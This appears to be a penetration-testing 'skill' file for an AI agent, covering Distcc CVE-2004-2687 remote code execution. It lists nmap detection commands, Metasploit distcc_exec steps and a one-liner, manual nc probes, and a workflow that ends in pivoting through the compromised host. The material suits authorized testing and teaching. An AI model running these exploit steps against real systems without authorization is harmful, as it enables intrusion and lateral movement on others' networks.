abelrguezr Distcc Pentesting
A skill for identifying and exploiting Distcc vulnerabilities, particularly CVE-2004-2687 which allows remote code execution.
What is Distcc?
Distcc is a distributed compilation tool that uses idle processing power from other computers on the network. When misconfigured, it can allow attackers to execute arbitrary code on the target system.
Default port: 3632/tcp
When to Use This Skill
Use this skill when:
- Port 3632 is open during network enumeration
- You need to test for Distcc vulnerabilities
- You want to check for CVE-2004-2687
- You're assessing distributed compilation services
- You need to verify if a Distcc daemon is vulnerable to RCE
Quick Start
1. Identify Distcc Service
# Check if port 3632 is open
nmap -p 3632 <target-ip>
# Banner grab to confirm Distcc
nc -v <target-ip> 3632
2. Test for CVE-2004-2687
This vulnerability allows arbitrary command execution on the Distcc server.
Using Nmap script:
nmap -p 3632 <target-ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
Using Metasploit:
msfconsole
use exploit/unix/misc/distcc_exec
set RHOSTS <target-ip>
set PAYLOAD <payload>
exploit
3. Manual Exploitation
If you don't have Metasploit, you can test manually:
# Test if the service accepts commands
echo "id" | nc <target-ip> 3632
# Try to compile a test file (if vulnerable)
distcc -m <target-ip> --show-version
Exploitation Workflow
- Enumerate: Confirm port 3632 is open and running Distcc
- Test: Run the CVE-2004-2687 check to see if it's vulnerable
- Exploit: If vulnerable, use Metasploit or manual methods to gain code execution
- Pivot: Use the compromised host for further network access
Important Notes
- CVE-2004-2687 is the primary vulnerability to check for
- The vulnerability allows arbitrary command execution
- Many older systems still have this vulnerability unpatched
- Distcc is often found in development environments
- Always have proper authorization before testing
Resources
Common Commands Reference
# Quick vulnerability check
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
# Full scan with service detection
nmap -sV -p 3632 <ip>
# Metasploit exploitation
msfconsole -q -x "use exploit/unix/misc/distcc_exec; set RHOSTS <ip>; exploit"
Safety & Authorization
⚠️ Always ensure you have explicit authorization before testing Distcc services. Unauthorized exploitation of Distcc vulnerabilities is illegal and can result in severe legal consequences.
This skill is intended for:
- Authorized penetration testing engagements
- Security assessments with written permission
- Educational purposes in controlled environments
- Bug bounty programs where Distcc is in scope